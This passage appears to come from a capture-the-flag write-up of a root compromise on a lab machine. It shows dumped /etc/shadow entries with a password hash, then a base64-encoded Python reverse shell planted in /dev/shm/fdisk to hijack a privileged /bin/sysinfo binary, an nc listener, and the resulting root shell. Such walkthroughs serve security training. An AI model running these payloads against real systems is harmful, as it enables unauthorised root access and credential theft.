saned:*:18113:0:99999:7:::
pulse:*:18113:0:99999:7:::
avahi:*:18113:0:99999:7:::
colord:*:18113:0:99999:7:::
hplip:*:18113:0:99999:7:::
geoclue:*:18113:0:99999:7:::
gnome-initial-setup:*:18113:0:99999:7:::
gdm:*:18113:0:99999:7:::
theseus:$1$midwGUS.$UlOhht/xpDAJhCFfcpSyO0:18184:0:99999:7:::
sshd:*:18184:0:99999:7:::
mysql:!:18187:0:99999:7:::
====================CPU Info====================
processor : 0
vendor_id : AuthenticAMD
cpu family : 23
model : 1
model name : AMD EPYC 7401P 24-Core Processor
...
...
address sizes : 43 bits physical, 48 bits virtual
power management:
====================MEM Usage=====================
total used free shared buff/cache available
Mem: 3.8G 552M 2.4G 3.9M 947M 3.1G
Swap: 947M 0B 947M
Now that I knew I had root-level command execution, I used base64 to echo a Python reverse shell one-liner into /dev/shm/fdisk as plaintext.
echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjI5Iiw0NDUpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7Jwo=" | base64 -d > /dev/shm/fdisk
LWkiXSk7Jwo=" | base64 -d > /dev/shm/fdisk
/bin/sysinfo
/bin/sysinfo
...
The execution of /bin/sysinfo hung, and I caught a reverse shell on my nc listener. I checked my context and confirmed that I was root, completed my compromise of this machine.
nc -nvlp 445
listening on [any] 445 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.185] 49454
id
id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)